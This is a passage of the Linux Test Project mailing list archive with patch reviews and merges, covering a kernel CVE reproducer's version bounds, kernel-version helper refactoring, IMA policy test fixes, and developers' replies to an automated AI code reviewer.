@@ -865,6 +940,7 @@ _tst_run_test()
 	$_tst_fnc "$@"
 	_tst_rescmp "$_tst_res"
 	TST_COUNT=$((TST_COUNT+1))
+	_tst_write_results
 }
 
 export LC_ALL=C

---
base-commit: ee945bb71ba7015dace7d983cf98a530b3eb53a4
change-id: 20260713-shell_oom_protection-6221ab825220

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From pvorel@suse.cz  Mon Aug 10 13:15:21 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 13:15:21 +0200
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
In-Reply-To: <6a758e79.5fb1dcdd.355f96.e2e4@mx.google.com>
References: <a1d939127b54c51fd29f869b0fe1706f@suse.de>
 <6a758e79.5fb1dcdd.355f96.e2e4@mx.google.com>
Message-ID: <20260810111521.GB918586@pevik>

Hi Andrea,

> Hi Petr,

> > > +			.min_kver = "4.16",
> > It got introduced in 4.11. Is there a reason for testing from 4.16?
> > Or is it just the copy paste error?

> 1e369b0e199bb ("xfs: remove experimental tag for reflinks") was merged
> in 4.16

Well, 1e369b0e199bb just remove warning from dmesg that reflinks are
experimental. Why to hide from users that kernels from 4.11 to 4.15 are
vulnerable? Also, Darrick marked his fix as vulnerable from 4.11 (Commit has
"Cc: stable@vger.kernel.org # v4.11" [1]), blog publish 4.11 [2], but LTP test
says "Test requires 4.16" => potential user of 4.11 will think "ok I'm safe".
IMHO perfect example of hiding kernel bug, specially due the fact that oldest
fixed kernel is v5.15.212, which backported upstream fix 2f4acd0fcd86 as
dc11be133efc, it was not backported to still supported LTS 5.10.x (EOL 31 Dec
2026) because it has conflicts.

> > Other than that LGTM.
> > Reviewed-by: Petr Vorel <pvorel@suse.cz>

> > > +			.mkfs_ver = "mkfs.xfs >= 1.5.0",
> > > +			.mkfs_opts = (const char *const []) {
> > > +				"-m", "reflink=1",
> > > +				NULL
> > > +			},
> > > +		},
> > > +		{}
> > > +	},
> > > +	.tags = (const struct tst_tag[]) {
> > > +		{"linux-git", "2f4acd0fcd86"},
> > Can you please before merge use longer hash
> > "2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7"?

> I thought as a rule we always have to use short hash, we never use
> longer one, besides a couple of tests. Is there a reason for it?

I'm not sure if there was ever such rule, we just use short hash.

But isn't the possible git hash collision is a good reason to use full hash?
(Kernel repo has many commits => chance is higher in smaller repo e.g. LTP git.)

Specially in "linux-git" which has no git commit description, therefore user
would have to search by timestamp which has was valid. Also, that hash is used
as part of URL to the commit in git.kernel.org.

Because I have no evidence of git collision for 12 chars hash, let's use 2f4acd
(6 chars). URL in git.kernel org with hash collision [1] shows "Bad object id:
2f4acd".

User trying to investigate with git will see:

	$ git show 2f4acd
	error: short object ID 2f4acd is ambiguous
	hint: The candidates are:
	hint:   2f4acd0fcd86 commit 2026-07-13 - xfs: resample the data fork mapping after cycling ILOCK
	hint:   2f4acd6a2004 tree
	hint:   2f4acd8324d7 tree
	hint:   2f4acda35a5c tree
	fatal: ambiguous argument '2f4acd': unknown revision or path not in the working tree.

Anyway, I discussed it in the past [2] and I got ack from Cyril [3] and Jan [4],
and I posted my intention to implement it [5]. I'm sorry I did not post it to ML
to get the approval and instead merged it in 36dad3e738 [6]. I considered it as
agreed and I did not want to bother with yet another review. But I could have at
least sent informal patch with [COMMITTED] subject (maybe I should do at least
now).

Kind regards,
Petr


[1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=206c09b04dc5469c7ff14d8aceff2d47c88078d9
[2] https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600

[1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd
[2] https://lore.kernel.org/ltp/20260331072051.GA5254@pevik/
[3] https://lore.kernel.org/ltp/act71G89AKEf63LA@yuki.lan/
[4] https://lore.kernel.org/ltp/CAASaF6xgitWDpquGfcALptj+Rv8iNg=FEifXzw+1dfXNVYNVxw@mail.gmail.com/
[5] https://lore.kernel.org/ltp/20260401094946.GA126168@pevik/
[6] https://github.com/linux-test-project/ltp/commit/36dad3e738e61c86669a76affb6d557f17311a7e

From pvorel@suse.cz  Mon Aug 10 13:23:39 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 13:23:39 +0200
Subject: [LTP] [PATCH v4 9/9] [RFC] metaparse: Check {min,
 max}_kver validity
In-Reply-To: <anQ2b1STktuhnLrP@rei>
References: <20260805151451.648990-1-pvorel@suse.cz>
 <20260805151451.648990-10-pvorel@suse.cz> <anQ2b1STktuhnLrP@rei>
Message-ID: <20260810112339.GC918586@pevik>

Hi Cyril,

...
> > +	/* Check max_kver >= min_kver */
> > +	struct data_node *max_kver = data_node_hash_get(res, "max_kver");
> > +	struct data_node *min_kver = data_node_hash_get(res, "min_kver");
> > +	int a1, a2, a3, b1, b2, b3;
> > +
> > +	if (min_kver) {
> > +		assert(min_kver->type == DATA_STRING);
> > +		if (tst_parse_kver(min_kver->string.val, &b1, &b2, &b3)) {
> > +			fprintf(stderr, "%s: wrong min_kver: '%s'\n",
> > +				argv[optind], min_kver->string.val);
> > +			return 1;
> > +		}
> > +	}
> > +
> > +	if (max_kver) {
> > +		assert(max_kver->type == DATA_STRING);
> > +		if (tst_parse_kver(max_kver->string.val, &a1, &a2, &a3)) {
> > +			fprintf(stderr, "%s: wrong max_kver: '%s'\n",
> > +					argv[optind], max_kver->string.val);
> > +			return 1;
> > +		}
> > +	}
> > +
> > +	if (min_kver && max_kver) {
> > +		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {
> > +			fprintf(stderr, "%s: min_kver (%s) > max_kver (%s)\n",
> > +					argv[optind], min_kver->string.val, max_kver->string.val);
> > +			return 1;
> > +		}
> > +	}
> > +

> Andrea is working on metadata linter, that does much more than this,
> e.g. checks that CVE record is valid.

> This looks like a check that could be added more easily there.

Thanks for info, sounds good. I'll remove last 3 patches (2 of them are RFC, I
suppose "tst_kvercmp: Factor out 2 kernels integer comparison" could be used by
Andrea in that linter).

Anyway, I consider the rest ready (agent complains are IMHO wrong), but I'll
resend.

Kind regards,
Petr

From andrea.cervesato@suse.com  Mon Aug 10 13:24:48 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 11:24:48 +0000
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
In-Reply-To: <20260810111521.GB918586@pevik>
Message-ID: <6a79b501.18b7d65e.302874.4926@mx.google.com>

Hi Petr,

> > > > +			.min_kver = "4.16",
> > > It got introduced in 4.11. Is there a reason for testing from 4.16?
> > > Or is it just the copy paste error?
> 
> > 1e369b0e199bb ("xfs: remove experimental tag for reflinks") was merged
> > in 4.16
> 
> Well, 1e369b0e199bb just remove warning from dmesg that reflinks are
> experimental. Why to hide from users that kernels from 4.11 to 4.15 are
> vulnerable? Also, Darrick marked his fix as vulnerable from 4.11 (Commit has
> "Cc: stable@vger.kernel.org # v4.11" [1]), blog publish 4.11 [2], but LTP test
> says "Test requires 4.16" => potential user of 4.11 will think "ok I'm safe".
> IMHO perfect example of hiding kernel bug, specially due the fact that oldest
> fixed kernel is v5.15.212, which backported upstream fix 2f4acd0fcd86 as
> dc11be133efc, it was not backported to still supported LTS 5.10.x (EOL 31 Dec
> 2026) because it has conflicts.

We can use 4.11 then

> [5] https://lore.kernel.org/ltp/20260401094946.GA126168@pevik/

you will have hard time updating all tests then :) from what i see, we have
just a bunch of tests using the short SHA. Anyway, I had more than a few
reviews in the past asking to keep it short, so if we want to use the long one
in order to avoid hash collisions, we also need to officially ask for it.

I will update thepatch and merge, thanks 

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 13:28:39 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 11:28:39 +0000
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
In-Reply-To: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>
Message-ID: <6a79b5e8.fe7f0a4c.268f4c.f440@mx.google.com>

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug 10 13:33:00 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 13:33:00 +0200
Subject: [LTP] [PATCH v4 1/9] tst_kvercmp: Factor out error handling
In-Reply-To: <6a74317f.5b42f266.2b3442.f731@mx.google.com>
References: <20260805151451.648990-2-pvorel@suse.cz>
 <6a74317f.5b42f266.2b3442.f731@mx.google.com>
Message-ID: <20260810113300.GD918586@pevik>

Hi Andrea,

> Hi Petr,

> We got 4 reviews..it seems like there's a problem with the CI
> and the new instance is not setting the state correctly, which
> is used by the script to recognize if patch was already reviewed
> or not. I will fix it.

Thanks for your time and effort to fix it.

> Anyway, we can say you had enough material to fix the series :-)

If you mean agent complains [1] they are mostly wrong. (The only correct one is
for 9th commit which I'm going to drop).

Anyway, I'll send next version without last 3 commits (2 of them RFC), because
only that part was problematic (even v3 was ready and could have been merged
with 2 minor fixes changed before merge).

I'll reply to agent objections [1] before sending and I guess I'll have to do it
again in next version, unless there is some shared context between patchsets.
But I'm getting to understand Wei's frustration to fight against agent's false
positives :).

Kind regards,
Petr

[1] https://lore.kernel.org/ltp/20260805173540.9276-1-linuxtestproject.agent@gmail.com/

From pvorel@suse.cz  Mon Aug 10 14:02:08 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 14:02:08 +0200
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805173540.9276-1-linuxtestproject.agent@gmail.com>
References: <20260805151451.648990-2-pvorel@suse.cz>
 <20260805173540.9276-1-linuxtestproject.agent@gmail.com>
Message-ID: <20260810120208.GE918586@pevik>

Hi all,

> Hi Petr,

> On Aug 5, 2026, Petr Vorel wrote:
> > tst_kvercmp: Factor out error handling

> --- [PATCH 1/9] ---

> > static int _tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)

> Could this be renamed to parse_kver? File-scope identifiers beginning with an
> underscore are reserved by C, and LTP's coding rules prohibit such names.

I thought this is wrong, because we have functions with underscore, but it's
trailing underscore, not the leading one.

=> I'll rename to tst_parse_kver_().

Also, agent does not know about LTP rule to have functions in lib with leading
tst_.

> --- [PATCH 2/9] ---

> > This is a preparation for struct tst_test max_kver member in the next
> > commit.

> Could the motivation be stated without referring to the next patch? Each
> commit message should stand on its own rather than depend on series position.

Well, we try to split code into commits to be easily revieweable. With that
sometimes is hard to avoid referring to commits. Preparation for other changes
separated into it's own commit helps is an explanation itself.

=> Consider as irrelevant.

> --- [PATCH 4/9] ---

> > 	if (TST_RET != -1) {
> > 		tst_res(TFAIL, "creat() succeeded unexpectedly");
> > 		return;
> > 	}

> Could this path kill and reap pid before returning? Removing the version gate
> makes it reachable on affected 6.11 and 6.12 kernels, but the child remains
> paused indefinitely. The framework then blocks in tst_reap_children() until
> the watchdog terminates the test instead of returning the intended TFAIL.

=> Indeed, this is bug for creat07.c, at least on SLE16 kernel which is based on 6.12,
where test hangs until timeouts on:

creat07.c:43: TFAIL: creat() succeeded unexpectedly

I guess I'll simply use goto to do the needed cleanup:

+++ testcases/kernel/syscalls/creat/creat07.c
@@ -41,7 +41,7 @@ static void verify_creat(void)

        if (TST_RET != -1) {
                tst_res(TFAIL, "creat() succeeded unexpectedly");
-               return;
+               goto kill;
        }

        if (TST_ERR == ETXTBSY)
@@ -49,6 +49,7 @@ static void verify_creat(void)
        else
                tst_res(TFAIL | TTERRNO, "creat() failed unexpectedly");

+kill:
        SAFE_KILL(pid, SIGKILL);
        SAFE_WAITPID(pid, NULL, 0);
 }
---

execve04.c simply fails on that kernel which is IMHO correct (not hiding bugs):
execve_child.c:27: TFAIL: execve_child shouldn't be executed

> > 	TEST(execve(TEST_APP, argv, environ));

> How is the writer child released when execve() succeeds on an affected
> kernel? The test process is replaced by execve_child, which reports TFAIL and
> exits, while the writer remains blocked in TST_CHECKPOINT_WAKE_AND_WAIT(0) and
> becomes an orphan.

I hope the above patch fixes that. Shouldn't be this fixed separately
(regardless on a removed .min_kver), it can be problematic on any kernel
version.

> --- [PATCH 5/9] ---

> > 	.max_kver = "7.1",

> Could the test keep running and only adjust the expected result of
> FAN_REPORT_PIDFD | FAN_REPORT_TID on kernels supporting thread pidfds? This
> test-wide limit also removes the
> FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME case on 7.2 and all
> newer kernels, and that exact combination is not tested elsewhere in LTP.

No, we agreed, this is ok (I'm explaining this second time and I suppose I will
have to do it on all patchset versions I'll send).

> --- [PATCH 6/9] ---

> > 	.min_kver = "4.4",
> > 	.max_kver = "5.0",

> How can this exercise do_test() on current CI kernels? The current kernel must
> lie between the bounds; min_kver being less than max_kver is not sufficient.
> With this maximum, including on stable 7.2, the self-test only reports TCONF
> and never tests the new success path.

I deliberately wanted to get TCONF on the current kernel, i.e. the fact than
using both will result in TCONF not in TBROK. Also, it does not matter if the
test TCONF due old version or run and then TPASS, it's about testing library
setup() run with .min_kver and .max_kver (test itself does nothing). Also any
kernel version will sooner later be old and thus TCONF, why not to do it now?
Not it's also a test that any old version will just TCONF not TBROK. I try to
document it better in the test.

> --- [PATCH 7/9] ---

> > int tst_kver_cmp(int a1, int a2, int a3, int b1, int b2, int b3);

> Could the new public function's kernel-doc include a Return: section
> describing the comparison result?

Commit will be removed in the next version.

> > This will be heavily used in metaparse.c (speedup of metadata
> > generation) in the next commit.

> Could this motivation be stated without referring to the next patch? Each
> commit message should stand on its own.

> --- [PATCH 8/9] ---

> > Will be used for metadata.c in the next commit.

> Could the commit message instead explain why host targets need access to
> MAKE_DEPS without depending on a later patch?

Commit will be removed in the next version.

> --- [PATCH 9/9] ---

> > metaparse: HOST_LDLIBS		+= -lltp

> How can this work for a cross-compilation? metaparse is built with HOSTCC, but
> -lltp resolves to lib/libltp.a built with the target CC, so the host linker
> cannot consume the archive. Could the version helper be compiled with HOSTCC,
> or moved into an architecture-independent host library?

Commit will be removed in the next version.

> Verdict - Needs revision

> ---
> Note:

> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.

> Regards,
> LTP AI Reviewer

From chrubis@suse.cz  Mon Aug 10 14:07:32 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 10 Aug 2026 14:07:32 +0200
Subject: [LTP] [RFC PATCH] network: Remove outdated DNS stress tests
In-Reply-To: <20260731200322.161590-1-avinesh.kumar@suse.com>
References: <20260731200322.161590-1-avinesh.kumar@suse.com>
Message-ID: <anm_BOtVV1KQyk0x@yuki.lan>

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.com  Mon Aug 10 14:21:10 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 12:21:10 +0000
Subject: [LTP] [PATCH] syscalls/file_attr01: Fix EOPNOTSUPP expectation
 on tmpfs
In-Reply-To: <20260807104442.2831991-1-wakel@google.com>
Message-ID: <6a79c237.bdd87efd.2818a4.c390@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 14:23:49 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 12:23:49 +0000
Subject: [LTP] [PATCH] syscalls/file_attr01: Fix EOPNOTSUPP expectation
 on tmpfs
In-Reply-To: <20260807104442.2831991-1-wakel@google.com>
Message-ID: <6a79c2d6.14e24f9c.2168bf.8de3@mx.google.com>

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From wakel@google.com  Mon Aug 10 14:30:37 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 20:30:37 +0800
Subject: [LTP] [PATCH v6] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <anmjiYgCDToNhlxI@linux.dev>
References: <20260807110541.8702-1-linuxtestproject.agent@gmail.com>
 <20260807234935.3248935-1-wakel@google.com> <anmjiYgCDToNhlxI@linux.dev>
Message-ID: <CAOcRiAEB_j15kaZFoSPqCM_Ht1p6u-NiQR7dBbA_ePGQmXxUEQ@mail.gmail.com>

Got it, thanks!!!


On Mon, Aug 10, 2026 at 6:10?PM Li Wang <li.wang@linux.dev> wrote:
>
> Hi Wake, All,
>
> I have merged v6 to keep things tidy. Thanks!
>
> --
> Regards,
> Li Wang



-- 
Best Regards,
Wake Liu

From linuxtestproject.agent@gmail.com  Mon Aug 10 15:10:14 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 13:10:14 +0000
Subject: [LTP] shell: enable OOM protection by default
In-Reply-To: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>
References: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>
Message-ID: <20260810131014.85243-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Aug 10, 2026, Andrea Cervesato wrote:
> shell: enable OOM protection by default

> +	if ! echo "$value" > "$path"; then
> +		tst_res TWARN "Can't adjust score"
> +	fi

Could this avoid reporting TWARN when CAP_SYS_RESOURCE is absent, as
tst_memutils.c does? Lowering oom_score_adj requires that capability, so
every unprivileged shell test now gets a warning result. The new self-test
itself reports TCONF but exits 36 because this TWARN remains counted.

> +	(
> +		TST_CHILD=1
> +		_tst_disable_oom_protection
> +		trap '_tst_cleanup_timer; _tst_write_results' EXIT
> +
> +		if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
> +			_tst_run_tcases_per_fs
> +		else
> +			_tst_run_iterations
> +		fi
> +	) &
> +
> +	wait $!
> +	ret=$?

How can the protected parent perform cleanup if this child is OOM-killed
or times out? TST_DO_CLEANUP and TST_MOUNT_FLAG are set only in the
subshell. On an abnormal child exit, the parent therefore reports TBROK
without calling TST_CLEANUP or unmounting a device mounted by
_prepare_device(), leaving external test state behind.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Mon Aug 10 16:33:43 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 16:33:43 +0200
Subject: [LTP] [PATCH v2 1/2] ima_setup.sh: Fix check_policy_writable() for
 kernel < 4.5
Message-ID: <20260810143344.1029588-1-pvorel@suse.cz>

Writing into policy via echo on kernel < 4.5 effectively makes policy
not writable (no point to check if the policy is writable). Therefore
skip this extra check in check_policy_writable() on these old kernels.

This change improves IMA testing on kernel < 4.5:

1) Allows to run ima_policy.sh which was previously skipped:

    ima_policy 1 TINFO: verify that invalid policy isn't loaded
    ima_policy 1 TCONF: IMA policy already loaded and kernel not configured to enable multiple writes to it (need CONFIG_IMA_WRITE_POLICY=y)

2) Fixes failing ima_violations.sh, which was failing due policy was not
   writable:

    ima_violations 1 TINFO: Tested kernel: Linux susetest 4.4.140
    ima_violations 1 TINFO: booted with IMA policy: tcb
    ima_violations 1 TINFO: using log /var/log/audit/audit.log
    ima_violations 1 TINFO: verify open writers violation
    ima_violations 1 TFAIL: open_writers violation not added
    ima_violations 2 TINFO: verify ToMToU violation
    ima_violations 2 TFAIL: ToMToU violation not added
    ima_violations 3 TINFO: verify open_writers using mmapped files
    tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
    tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
    tst_kconfig.c:755: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
    tst_kconfig.c:755: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
    tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
    tst_kconfig.c:755: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
    ima_mmap.c:33: TPASS: test completed
    ima_violations 3 TFAIL: open_writers violation not added

3) Fixes failing ima_conditionals.sh -r uid and ima_conditionals.sh -r fowner

    ima_conditionals 1 TINFO: request 'uid'
    tst_security.c:115: TINFO: SecureBoot sysfs file not available
    ima_conditionals 1 TINFO: verify measuring user files when requested via uid
    tst_rod: Failed to open '/sys/kernel/security/ima/policy' for writing: Permission denied
    ima_conditionals 1 TBROK: echo measure uid=65534 > /sys/kernel/security/ima/policy failed

    ima_conditionals 1 TINFO: request 'fowner'
    tst_security.c:115: TINFO: SecureBoot sysfs file not available
    ima_conditionals 1 TINFO: verify measuring user files when requested via fowner
    tst_rod: Failed to open '/sys/kernel/security/ima/policy' for writing: Permission denied
    ima_conditionals 1 TBROK: echo measure fowner=65534 > /sys/kernel/security/ima/policy failed

Fixes: cd96265e65 ("ima/ima_policy.sh: Improve check of policy writability")
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same in v1.

@Mimi I appreciate your RBT or ABT.

Link to v1:
https://lore.kernel.org/ltp/20260728114224.1055009-1-pvorel@suse.cz/T/#t

 .../kernel/security/integrity/ima/tests/ima_setup.sh  | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
index b69d7c31d9..19f00532b1 100644
--- a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
@@ -95,10 +95,15 @@ require_policy_readable()
 check_policy_writable()
 {
 	[ -f $IMA_POLICY ] || return 1
-	# workaround for kernels < v4.18 without fix
+
+	# Workaround for kernels < v4.18 without fix
 	# ffb122de9a60b ("ima: Reflect correct permissions for policy")
-	echo "" 2> log > $IMA_POLICY
-	grep -q "Device or resource busy" log && return 1
+	# Require >= 4.5 to write multiple times via CONFIG_IMA_WRITE_POLICY
+	# 38d859f991f3 ("IMA: policy can now be updated multiple times")
+	if tst_kvcmp -ge 4.5; then
+		echo "" 2> log > $IMA_POLICY
+		grep -q "Device or resource busy" log && return 1
+	fi
 	return 0
 }
 
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 16:33:44 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 16:33:44 +0200
Subject: [LTP] [PATCH v2 2/2] ima_policy.sh: Require kernel 4.5+ for test02
In-Reply-To: <20260810143344.1029588-1-pvorel@suse.cz>
References: <20260810143344.1029588-1-pvorel@suse.cz>
Message-ID: <20260810143344.1029588-2-pvorel@suse.cz>

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v2.

@Mimi I appreciate your RBT or ABT.

 testcases/kernel/security/integrity/ima/tests/ima_policy.sh | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
index d66f261a81..e6f4ff133a 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
@@ -60,6 +60,11 @@ test2()
 {
 	tst_res TINFO "verify that policy file is not opened concurrently and able to loaded multiple times"
 
+	if tst_kvcmp -lt 4.5; then
+		tst_res TCONF "test requires kernel 4.5+"
+		return
+	fi
+
 	local p1 p2 rc1 rc2
 
 	require_policy_writable
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Mon Aug 10 16:59:58 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 14:59:58 +0000
Subject: [LTP] ima_setup.sh: Fix check_policy_writable() for kernel < 4.5
In-Reply-To: <20260810143344.1029588-1-pvorel@suse.cz>
References: <20260810143344.1029588-1-pvorel@suse.cz>
Message-ID: <20260810145958.3897-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Mon, 10 Aug 2026, Petr Vorel wrote:
> ima_setup.sh: Fix check_policy_writable() for kernel < 4.5

--- [PATCH 2/2] ---

> ima_policy.sh: Require kernel 4.5+ for test02

Could the commit message explain that test02 needs repeated policy updates
and that CONFIG_IMA_WRITE_POLICY introduced support for them in kernel 4.5?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Mon Aug 10 18:00:42 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:42 +0200
Subject: [LTP] [PATCH v5 1/7] tst_kvercmp: Factor out error handling
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-2-pvorel@suse.cz>

Error check was already on 2 places (and possibly more will be added in
the future).

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
Changes v1->v2:
* Use proper name for function (underscore at the end)

 lib/tst_kvercmp.c | 23 +++++++++++++++++------
 lib/tst_test.c    |  6 +-----
 2 files changed, 18 insertions(+), 11 deletions(-)

diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c
index 9e1a511aff..27b156c8bc 100644
--- a/lib/tst_kvercmp.c
+++ b/lib/tst_kvercmp.c
@@ -45,7 +45,7 @@ static char *parse_digit(const char *str, int *d)
 	return end;
 }
 
-int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
+static int tst_parse_kver_(const char *str_kver, int *v1, int *v2, int *v3)
 {
 	const char *str = str_kver;
 
@@ -81,17 +81,28 @@ int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 	return 0;
 }
 
-int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
+int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 {
-	int a1, a2, a3;
-	int testver, currver;
+	int rc;
+
+	rc = tst_parse_kver_(str_kver, v1, v2, v3);
 
-	if (tst_parse_kver(cur_kver, &a1, &a2, &a3)) {
+	if (rc) {
 		tst_resm(TWARN,
 			 "Invalid kernel version %s, expected %%d.%%d.%%d",
-		         cur_kver);
+		         str_kver);
 	}
 
+	return rc;
+}
+
+int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
+{
+	int a1, a2, a3;
+	int testver, currver;
+
+	tst_parse_kver(cur_kver, &a1, &a2, &a3);
+
 	testver = (r1 << 20) + (r2 << 10) + r3;
 	currver = (a1 << 20) + (a2 << 10) + a3;
 
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 9c5f2617fe..a147521e9d 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1067,11 +1067,7 @@ static bool check_kver(const char *min_kver, const int brk_nosupp)
 	char *msg;
 	int v1, v2, v3;
 
-	if (tst_parse_kver(min_kver, &v1, &v2, &v3)) {
-		tst_res(TWARN,
-			"Invalid kernel version %s, expected %%d.%%d.%%d",
-			min_kver);
-	}
+	tst_parse_kver(min_kver, &v1, &v2, &v3);
 
 	if (tst_kvercmp(v1, v2, v3) < 0) {
 		msg = "The test requires kernel %s or newer";
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:45 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:45 +0200
Subject: [LTP] [PATCH v5 4/7] creat07: Avoid timeout on the test failure
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-5-pvorel@suse.cz>

Test always needs to run kill() and waitpid() to avoid timeout.
This was not true when creat07_child.c unexpectedly succeeded (a test
failure).

Fixes: da3105af69 ("syscalls/creat07: Cleanup && Convert to new API")
Reported-by: linuxtestproject.agent@gmail.com
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 testcases/kernel/syscalls/creat/creat07.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index c7b85ee694..1de1b46621 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -35,7 +35,7 @@ static void verify_creat(void)
 
 	if (TST_RET != -1) {
 		tst_res(TFAIL, "creat() succeeded unexpectedly");
-		return;
+		goto kill;
 	}
 
 	if (TST_ERR == ETXTBSY)
@@ -43,6 +43,7 @@ static void verify_creat(void)
 	else
 		tst_res(TFAIL | TTERRNO, "creat() failed unexpectedly");
 
+kill:
 	SAFE_KILL(pid, SIGKILL);
 	SAFE_WAITPID(pid, NULL, 0);
 }
-- 
2.55.0


From pvorel@suse.cz  Mon Aug 10 18:00:43 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 18:00:43 +0200
Subject: [LTP] [PATCH v5 2/7] lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <20260810160048.1040517-1-pvorel@suse.cz>
References: <20260810160048.1040517-1-pvorel@suse.cz>
Message-ID: <20260810160048.1040517-3-pvorel@suse.cz>

This is a preparation for struct tst_test max_kver member in the next
commit.

Reviewed-by: Avinesh Kumar <avinesh.kumar@suse.com>
Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v4.

 lib/tst_test.c | 10 +++++-----
